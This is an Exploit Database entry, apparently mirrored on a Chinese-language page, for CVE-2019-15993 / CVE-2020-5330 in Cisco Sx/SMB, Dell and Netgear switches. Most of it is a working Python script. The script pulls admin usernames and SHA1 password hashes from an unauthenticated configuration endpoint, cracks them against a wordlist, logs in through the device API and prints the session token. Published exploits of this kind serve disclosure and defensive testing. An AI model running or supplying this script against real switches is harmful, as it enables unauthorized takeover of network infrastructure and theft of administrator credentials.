Dell EMC Networking PC5500 firmware versions 4.1.0.22 and Cisco Sx / SMB – Information Disclosure

Exploit Database
135 阅读

作者： Ken Pyle

日期： 2023-04-05
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/51248/

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# Exploit Title: Dell EMC Networking PC5500 firmware versions 4.1.0.22 andCisco Sx / SMB - Information Disclosure

# DSA-2020-042: Dell Networking Security Update for an Information Disclosure Vulnerability | Dell US<https://www.dell.com/support/kbdoc/en-us/000133476/dsa-2020-042-dell-networking-security-update-for-an-information-disclosure-vulnerability>

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200129-smlbus-switch-disclos

# CVE-2019-15993 / CVE-2020-5330 - Cisco Sx / SMB, Dell X & VRTX, Netgear (Various) Information Disclosure and Hash Decrypter

# Discovered by Ken 's1ngular1ty' Pyle

# CVE-2019-15993 / CVE-2020-5330 - Cisco Sx / SMB, Dell X & VRTX, Netgear (Various) Information Disclosure and Hash Decrypter

# Discovered by Ken 's1ngular1ty' Pyle

import requests

import re

import hashlib

import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning

if len(sys.argv) < 3:

print("Usage: python cve-2019-15993.py URL passwordfile")

sys.exit()

url = sys.argv[1]

file = sys.argv[2]

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def hash_value(value):

"""Calculate the SHA1 hash of a value."""

sha1 = hashlib.sha1()

sha1.update(value.encode('utf-8'))

return sha1.hexdigest()

def userName_parser(text, start_delimiter, end_delimiter):

results = []

iteration = 0

start = 0

while start >= 0:

start = text.find(start_delimiter, start)

if start >= 0:

start += len(start_delimiter)

end = text.find(end_delimiter, start)

if end >= 0:

results.append(text[start:end])

start = end + len(end_delimiter)

iteration = iteration + 1

return results

# retrieve the web page

response = requests.get(url, allow_redirects=False, verify=False)

# Read in the values from the file

with open(file, 'r') as f:

values = f.readlines()

values = [value.strip() for value in values]

hashes = {hash_value(value): value for value in values}

if response.status_code == 302:

print("Cisco / Netgear / Netgear Hash Disclosure - Retrieving API Path & ID / MAC Address via 302 carving.\n")

url = response.headers["Location"] + "config/device/adminusersetting"

response=requests.get(url, verify=False)

if response.status_code == 200:

print("[*] Successful request to URL:", url + "\n")

content = response.text

users_names = userName_parser(content,"<userName>","</userName>")

sha1_hashes = re.findall(r"[a-fA-F\d]{40}", content)

print("SHA1 Hashes found:\n")

loops = 0

while loops < len(sha1_hashes):

print("Username: " + str(users_names[loops]) + "\n" + "SHA1 Hash: " + sha1_hashes[loops] + "\n")

for sha1_hash in sha1_hashes:

if sha1_hash in hashes:

print("Match:", sha1_hash, hashes[sha1_hash])

print("\nTesting Credentials via API.\n\n")

payload = (sys.argv[1] + "/System.xml?" + "action=login&" + "user=" + users_names[loops] + "&password=" + hashes[sha1_hash])

response_login = requests.get(payload, allow_redirects=False, verify=False)

headers = response_login.headers

if "sessionID" in headers:

print("Username & Password for " + str(users_names[loops]) + " is correct.\n\nThe SessionID Token / Cookie is:\n")

print(headers["sessionID"])

else:

print("Unable to sign in.")

loops = loops + 1

else:

print("Host is not vulnerable:", response.status_code)

[cid:2b37ad37-9b26-416d-b485-c88954c0ab53]

Ken Pyle

M.S. IA, CISSP, HCISPP, ECSA, CEH, OSCP, OSWP, EnCE, Sec+

Main: 267-540-3337

Direct: 484-498-8340

Email: kp@cybir.com

Website: www.cybir.com